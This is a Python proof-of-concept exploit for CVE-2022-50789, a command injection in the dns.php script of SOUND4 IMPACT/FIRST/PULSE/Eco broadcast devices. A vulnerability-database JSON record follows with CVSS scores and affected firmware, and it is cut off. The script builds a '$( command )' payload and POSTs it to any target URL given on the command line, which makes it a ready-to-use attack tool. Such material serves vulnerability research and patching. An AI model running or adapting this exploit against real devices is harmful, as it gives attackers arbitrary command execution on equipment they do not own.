CVE-2022-50789

import requests import sys # CVE-2022-50789 PoC - SOUND4 IMPACT/FIRST/PULSE/Eco Command Injection # Target: dns.php script def exploit(target_url, command): """ Exploit the command injection vulnerability in SOUND4 dns.php Args: target_url: Base URL of the vulnerable SOUND4 device command: Command to execute on the target system """ # The malicious file content with embedded command # File will be created in /tmp with .dns.pid extension payload = f"$( {command} )" # HTTP POST request to dns.php endpoint = f"{target_url}/dns.php" try: # Send POST request with malicious payload response = requests.post(endpoint, data={'dns': payload}, timeout=10) print(f"[*] Request sent to {endpoint}") print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print("[+] Exploit sent successfully") print("[*] Note: The malicious file is automatically deleted after execution") else: print("[-] Exploit failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") print(f"Example: python {sys.argv[0]} http://192.168.1.100 'id'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)

{"cve": {"id": "CVE-2022-50789", "sourceIdentifier": "[email protected]", "published": "2025-12-30T23:15:45.557", "lastModified": "2026-01-16T19:16:11.373", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x contains a command injection vulnerability that allows local authenticated users to create malicious files in the /tmp directory with .dns.pid extension. Unauthenticated attackers can execute the malicious commands by making a single HTTP POST request to the vulnerable dns.php script, which triggers command execution and then deletes the file."}, {"lang": "es", "value": "SOUND4 IMPACT/FIRST/PULSE/Eco &lt;=2.x contiene una vulnerabilidad de inyección de comandos que permite a usuarios locales autenticados crear archivos maliciosos en el directorio /tmp con la extensión .dns.pid. Atacantes no autenticados pueden ejecutar los comandos maliciosos realizando una única solicitud HTTP POST al script vulnerable dns.php, lo que desencadena la ejecución de comandos y luego elimina el archivo."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sound4:impact_firmware:2.15:*:*:*:*:*:*:*", "matchCriteriaId": "33C347FE-DA7B-4137-87B8-E6A8AF4D307F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sound4:impact:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "0A735654-A166-4B56-BF4D-F165B7E11043"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sound4:impact_firmware:1.69:*:*:*:*:*:*:*", "matchCriteriaId": "5C4CF02A-8CF1-46FF-9EC0-FF779D60B6EA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sound4:impact:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "EC9BD81B-573A-4DA7-AC47-6C8AF1B6B18F"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sound4:pulse_firmware:2.15:*:*:*:*:*:*:*", "matchCriteriaId": "18E34118-F11B-4BF2-BE23-7DAE0A6790FB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sound4:pulse:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "C46BF88C-955C-4F9E-B782-1EADA068F19D"}]}]}, {"operator": ... (truncated)